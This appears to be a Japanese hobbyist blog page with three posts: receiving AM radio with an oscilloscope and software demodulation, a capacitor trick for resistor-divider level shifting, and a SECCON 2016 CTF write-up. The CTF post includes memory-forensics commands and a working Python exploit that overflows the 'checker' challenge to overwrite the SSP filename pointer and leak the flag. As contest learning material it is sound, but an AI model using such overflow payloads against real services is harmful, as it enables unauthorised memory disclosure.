オシロスコープでAMラジオを受信する

要約

オシロスコープとアンテナのみを使ってAMラジオを受信し、7秒間の音声を復調できた。 以下は、時報を受信して復調した音声。

背景

電源不要かつ構造が単純なラジオとして、ゲルマニウムラジオが古くから知られており、電子工作の入門として定番中の定番である。 このエントリーにたどり着いた方も、過去にゲルマラジオを自作した経験があるのではないだろうか。

一方、かつて高嶺の花と言われたデジタルオシロスコープ。昨今ゲーム機よりも安いとまでは行かないが、エントリーレベルでも高性能なものが5万円程度から入手できるようになっている。 私の持つSiglent SDS1104X-Eもいわゆるエントリーレベルのオシロスコープだが、ラジオ放送を受信するために十分な性能を持つと考えられる。

先日、オシロスコープにアンテナを繋ぐだけでラジオ局が見えるというツイートをしたところ、そこそこバズった。 そこで、オシロスコープとアンテナだけでラジオは受信できるのか、まずはAMラジオから確かめてみることにした。

オシロスコープでのAMラジオ受信方法

電波というものは微弱だが、オシロスコープにアンテナを繋げばノイズと区別がつく程度に受信できることが先のツイートからもわかる。 デジタルオシロスコープは入力された信号をA/D変換器で数値化して記録する装置なので、下図のように、数値化されたデジタル信号にバンドパスフィルタ(BPF)、絶対値処理、ローパスフィルタ(LPF)とゲルマラジオ相当の処理を行えば復調できる *1

f:id:jptomoya:20200505193341p:plain:w450
ゲルマラジオとソフトウェアラジオ

このように、従来アナログ回路で実現されていた機能をデジタル信号処理で実現するような無線機はソフトウェア無線(SDR:Software Defined Radio)と呼ばれており、特に新しい概念ではない。

実験の条件

オシロスコープは、Siglent SDS1104X-Eを用いた。 アンテナは、コンポによく使われるAMループアンテナ*2を利用した。 オシロスコープから取り込んだ信号の復調処理は、Google Colaboratory上で行った *3

放送を受信できていることを聴覚・視覚の両面から確認しやすいNHK時報を受信することにした。 そのため、受信する放送局は、NHK名古屋放送局ラジオ第1放送(周波数: 729 [kHz]、コールサイン: JOCK、出力: 50 [kW])とした*4。 送信所から受信地点までの距離は、20km弱である。

また、オシロスコープは、あらかじめ自己校正を行っておき、オフセットの除去を図った。

手順

セットアップ

ループアンテナは、アンテナとして使い、同調回路とはしないため、2本の線のうち片方だけをプローブの先端に接続する。ループアンテナに極性はないのでどちらに接続しても良い(はず)。 プローブのGNDはアースに接続するか、オシロスコープ側でアースに接続している場合は下の写真のように浮かせておいて良い。 プローブの倍率が切り替えられる場合はx1に設定する。

f:id:jptomoya:20200505165835j:plain:h250f:id:jptomoya:20200505165341j:plain:h250
AMループアンテナとプローブの接続

アンテナが接続出来たら、オシロスコープのセットアップを行う。 トリガの設定は特に必要ない。最終的に観測するのは音声波形のため、ラジオ片手に手動トリガをかけることで十分タイミングを合わせられる。 トリガを設定する場合は、例えばGNSSモジュールの1pps出力でトリガをかければ、時間軸を数十 [ns]の精度でUTCに同期させることができる(今回はこの方法を用いた)。

垂直軸は、波形全体が画面内に収まりかつできるだけ画面いっぱいに表示されるように設定する。

水平軸は、サンプリングレートが受信したい周波数のナイキスト周波数を下回らない範囲で*5できるだけ長く設定する。 SDS1104X-Eの場合、14Mのメモリを持ち、1画面は14divとなっているため、2 [MSa/s]のとき500 [ms/div]で最長となった。つまり、500 [ms]×14 = 7000 [ms]となり1画面で7秒間の波形を捉えられる。

セットアップ後に観測した波形は下図のようになった。

f:id:jptomoya:20200505183721p:plain:w450
セットアップ後の波形
拡大波形を見ると、商用電源に由来すると思われる60[Hz] 1.34[Vp-p]のノイズが乗っているのが分かる。SDS1104X-EのADC精度は8bitしかないので、垂直軸の分解能面で非常に不利である。 このノイズは、CRハイパスフィルタ回路で簡単に除去できるが、アンテナとオシロスコープのみでラジオを受信するのが本エントリーの趣旨なので、とりあえずそのまま復調することにした。

オシロスコープFFT機能がある場合は、ここで放送が受信出来ているか確認しておくと良い。下図にオシロスコープFFTでの受信確認の例を示す。

f:id:jptomoya:20200505182158p:plain:w450
FFTによる受信確認

私の環境では、8回平均でノイズフロアが-106.0 [dBV]。中心のピークが-50.6 [dbV]となった。

波形の取り込み

オシロスコープCSV出力機能を使ってUSBメモリに保存し、波形データを取り込んだ。 ちゃんと取り込めているか確かめるため、とりあえず0.02秒分のグラフを下図のように描画して確かめる。

f:id:jptomoya:20200505203340p:plain
取り込み波形

オシロスコープの画面と同じ波形が得られた。 前述の通り、60Hzのノイズが目立つが、ゆっくりとした電圧変化の中でも小刻みな波がある。この小刻みな電圧変化の中にいろいろな放送の電波が重畳されている。

バンドパスフィルタ(BPF)

ゲルマラジオの同調回路にあたる処理。受信したい周波数の信号だけを取り出す。 AM放送の占有周波数帯域は15 [kHz]とされている*6 ので、 通過域端周波数を729 ± 7.5 [kHz]、阻止域端を729 ± 15 [kHz]とした。 また、通過域端最大損失は3[dB]、阻止域端最小損失は40 [dB]とした。

バンドパスフィルタ後の波形は下図のようになった。

f:id:jptomoya:20200505203416p:plainf:id:jptomoya:20200505203427p:plain
BPF後の波形

左が先頭0.7秒、右が先頭0.000025秒(50サンプル)を拡大した波形である。 スパイク状のノイズがひどいが、729kHzの波形がうまく取り出せている。 また、0.57秒付近で440Hzの予報音が出ていることが確認できる。

絶対値処理

ゲルマラジオの包絡線検波回路にあたる処理。単に波形の絶対値を取って全波整流とした*7。 絶対値処理後の波形は下図のようになった。

f:id:jptomoya:20200505203504p:plainf:id:jptomoya:20200505203515p:plain
絶対値処理後の波形

左が先頭0.7秒、右が先頭0.000025秒(50サンプル)を拡大した波形である。

ちなみに、ゲルマラジオをリスペクトして半波整流にする場合は、絶対値の代わりに最小値0でクリッピング処理を行えば良い。

ローパスフィルタ(LPF)

ローパスフィルタをかけて、可聴域のみを残すように高周波成分をカットする。 人間の可聴域は20 [kHz]くらいと言われているので、通過域端周波数を10 [kHz]、阻止域端を22.05 [kHz] *8とした。 また、通過域端最大損失は3[dB]、阻止域端最小損失は40 [dB]とした。

ローパスフィルタの他に、DCオフセット除去処理(平均値で減算)を行っている。また、スパイク状のノイズがあるため±0.003 [V]でクリッピング処理を行った。 波形は下図のようになった。

f:id:jptomoya:20200505203600p:plain
LPF後の波形

0.61秒付近を拡大した下図に示す。

f:id:jptomoya:20200505203618p:plain
0.61秒付近の拡大

440Hzの予報音が復調されていることが確認できる。

復調結果

ここまでの波形で音声ファイルを作成すれば、復調された音が聴けるはずである。 2 [MSa/s]のまま音声ファイルを作成することは非効率なので、100サンプルずつに間引くことでサンプリングレートが20000 [Hz]のデータをwavファイル化する。 ナイキスト周波数が可聴域の約半分の10 [kHz]となるが、元がAMラジオの音声なので問題なしとした。

最終的に復調された時報の音声は以下のようになった(冒頭の音声と同じ)。

無音時のノイズがひどいものの、440Hzの予報音3回と880Hzの正報音がはっきりと聞こえる。

まとめ

エントリーレベルのオシロスコープとループアンテナのみでAMラジオ放送を受信できることを確かめた(外部アンプなし!)。

オシロスコープは、波形を連続的に観測する装置ではなく、一度に捉えられる放送はほんの数秒である。そのため、ラジオとしての実用性は全くない。 しかし、目に見えない電気信号の動きを、波形を見ながら直感的に理解できるのがオシロスコープの魅力である。

やっていることはダイレクトサンプリング方式のSDRに過ぎないので、新しいことは全くないのだが、 波形を見ながら電波の原理を学べる、令和の時代に則した科学実験になるのではなかろうか。

参考文献

*1:ちなみに実際のゲルマラジオでは、イヤホンの特性がローパスフィルタの役割を果たすので復調回路のコンデンサは省略できる。

*2:https://www.amazon.co.jp/dp/B074QPN1NN/ref=cm_sw_r_tw_dp_U_x_ihnSEbPB8T1MH

*3:ノートブックを https://colab.research.google.com/drive/1iEY0zwwKA2cw6Jxb_bA5wfJp1M7jPTJB にて公開するので、参考にされたい

*4:https://ja.wikipedia.org/wiki/NHK%E9%8D%8B%E7%94%B0%E3%83%A9%E3%82%B8%E3%82%AA%E6%94%BE%E9%80%81%E6%89%80

*5:今回は729 [kHz]を受信するので、1.458 [MSa/s]以上

*6:http://member.tokoha-u.ac.jp/~kdeguchi/hobby/radio/synchro.pdf

*7:ゲルマラジオでも全波整流はできるらしい。無電源回路ではダイオードの損失を気にするところだが、理想的な整流ができるのはソフトウェア無線の魅力だろう

*8:CDのサンプリングレートの半分

5V→3.3Vレベル変換に分圧抵抗を使う際の一工夫

電圧の違う回路同士で信号をやり取りする際に、レベル変換回路というものを間に挟む。 高い電圧から低い電圧に落とすだけでいい場合、具体的には、5V回路から3.3Vのマイコンに信号を入力する際、よく下図のような抵抗分圧を使った回路をよく組む*1

f:id:jptomoya:20190727184513p:plain
典型的な5.5V->3.3V分圧回路

この回路は、抵抗を挿入するだけで実現できるのでお手軽だが、高周波数信号では波形がなまってくる。 1MHzを超えたあたりから波形がなまって使い物にならなくなってくる。 例えば、SPI通信のクロックは10MHz等が使われるので、この問題は無視できない。

単純な分圧回路に周波数の異なる5V矩形波を入力したときの波形を以下に示す。Ch.1(上)が入力、Ch.3(下)が出力。 10MHzを分圧したときは、もはや矩形波というより三角波に近くなっている。

f:id:jptomoya:20190727192302p:plain
1MHz矩形波の分圧波形
f:id:jptomoya:20190727192634p:plain
5MHz矩形波の分圧波形
f:id:jptomoya:20190727194321p:plain
10MHz矩形波の分圧波形

このような時、20~30pF程度のコンデンサを追加して補正すると良い。

f:id:jptomoya:20190727193141p:plain
コンデンサを追加した回路
以下、30pFのコンデンサを追加したときの波形。ちょっと過補正気味だが、単純な分圧回路と比べて形が保持されていることが分かる。 これはオシロスコープの10:1パッシブプローブを使う前にキャリブレーションを行うのと同じ原理だと思う*2

f:id:jptomoya:20190727194130p:plain
1MHzの分圧波形(コンデンサ有)
f:id:jptomoya:20190727194157p:plain
5MHz矩形波の分圧波形(コンデンサ有)
f:id:jptomoya:20190727194219p:plain
10MHz矩形波の分圧波形(コンデンサ有)

使用機材

機材 型番
信号発生器 FeelElec FY6800
オシロスコープ Siglent SDS1104X-E

SECON 2016 Online CTFに参加していた

@hiwwさんのお誘いにより、12月10日・11日とでSECON 2016 Online CTFにTeam Harekazeで参加していました。 チームで8問解き、1300 points獲得、順位は61/930という結果でした。

私が解いた問題はVigenere, Memory Analysis, Anti-Debugging, checkerの4問で、どれも簡単な問題ばかりで既にWrite-upが書き尽くされて今更な状況ですが、一応メモ代わりにWrite-upを書いてみたいと思います。 Harekazeの他の3問のWrite-upは@st98_氏が、昨日書いてくれました

冷めきりかけていたCTF熱を少し取り戻すことができたように思います。また、二日目はほとんど参加できなくて、チームの皆様には申し訳なかったです。

Harekazeの活動は今後も続いていくので、よろしくお願いします。

Vigenere (Crypto, 100)

ヴィジュネル暗号は知っていましたが、解くまでに約50分もかかってしまいました。 競技中に整理しないで書いたコードなのできれいではないです。

import hashlib 

table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"

def dec(k,c):
    tmp2 = ''
    for i,x in enumerate(c):
        tmp = table[table.index(k[i%len(k)]):]
        tmp += table[:len(table)-len(tmp)]
        tmp2+= table[tmp.index(x)]
    return tmp2

def solve():
    k_part = 'VIGENERE'
    c = 'LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ'

    for i1 in table:
        for i2 in table:
            for i3 in table:
                for i4 in table:
                    k = k_part + i1 + i2 + i3 + i4
                    assert(len(k)==len('????????????'))
                    p = dec(k,c)
                    #print p
                    if hashlib.md5(p).hexdigest() == 'f528a6ab914c1ecf856a1d93103948fe':
                        return (p,k)

if __name__ == '__main__':
    p,k = solve()
    print "p:",p
    print "k:",k
c: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
k: VIGENERECODE

Memory Analysis (Forensics, 100)

Windows XPの物と思われるメモリダンプが与えられます。偽のsvchostがアクセスしてるサイトにflagがあるとのこと。

Hint2: Check the hosts file

とのことで、@st98_氏が素早くhostsを調査してくれました。

$ python vol.py -f forensic_100.raw filescan | grep hosts
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
$ python vol.py -f forensic_100.raw dumpfiles -Q 0x000000000217b748 -D . --name
$ strings file.None.0x819a3008.hosts.dat
# Copyright (c) 1993-1999 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
# For example:
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost
153.127.200.178    crattack.tistory.com

どう考えてもcrattack.tistory.comが怪しいのでstringsで力押し。

$ strings forensic_100.raw | grep ^http | grep crattack.tistory.com | sort | uniq
http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd
http://crattack.tistory.com/favicon.ico
http://crattack.tistory.com/trackback/90W
http:crattack.tistory.com

怪しいData-Science-import-pandas-as-pdをあたるとビンゴだったというわけです。

$ curl -H "Host: crattack.tistory.com" http://153.127.200.178/entry/Data-Science-import-pandas-as-pd
SECCON{h3110_w3_h4ve_fun_w4rg4m3}

Hostヘッダは最初念のためつけていましたが、後からHostヘッダはなくてもflagが降ってくることを確認しました。

Anti-Debugging (Binary, 100)

Windowsのexe問題。Windows環境があれば、OllyDbgとIDAですぐ解けます。

  1. anti-debugが入る前(0x4013A3あたり)でbreak
  2. eipを復号処理 0x401663に飛ばす
  3. check(0x401737)あたりでbreak
  4. flagはスタックに書いてある
SECCON{check_Ascii85}

ちゃんとやるならパッチをあてるとかですかね。

checker (Exploit, 300)

300点に問題ですが、やけにsolvesの伸びが早いと思ってみてみると、SSPの実行ファイル名のアドレスを上書きするだけでした。出題ミスとのこと。

pwntoolsすら使わないという自分の不勉強さがにじみ出る解答です。また、他の方のWrite-upを見ると、"Thank you"のところまでわざわざ持ってくる必要はなかったですね。 というか私のWrite-upは"Thank you"を出すために"SECCON"の"SE"を"S\0"で上書きしてしまっていますw。

#python -c "print 'S'*129+'\n'+'A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n'+'yes\n'+'S\x00\n'"|./checker

from subprocess import Popen, PIPE

p = Popen(['nc', 'checker.pwn.seccon.jp', '14726'], stdin=PIPE, stdout=PIPE)
#p = Popen(['./checker'], stdin=PIPE, stdout=PIPE)

a='S'*129+'\n'
b='A'*383+'\n'+'A'*382+'\n'+'A'*381+'\n'+'A'*380+'\n'+'A'*379+'\n'+'A'*378+'\n'+'A'*377+'\n'+'A'*376+'\xc2\x10\x60\x00\x00\n' # 0x6010c2: flag+2
#b= 'A'*375+'\n'
c='yes\n'
d = 'S\n'
print p.stdout.readline(),
print p.stdout.read(7),
p.stdin.write(a)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(b)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(3),

p.stdin.write(c)
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.readline(),
print p.stdout.read(7),
print p.communicate(d)[0]
$ python2 solve.py
Hello! What is your name?
NAME :
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you  know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Do you know flag?
>>
Oh, Really??
Please tell me the flag!
FLAG : Thank you, SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS!!
*** stack smashing detected ***: CCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated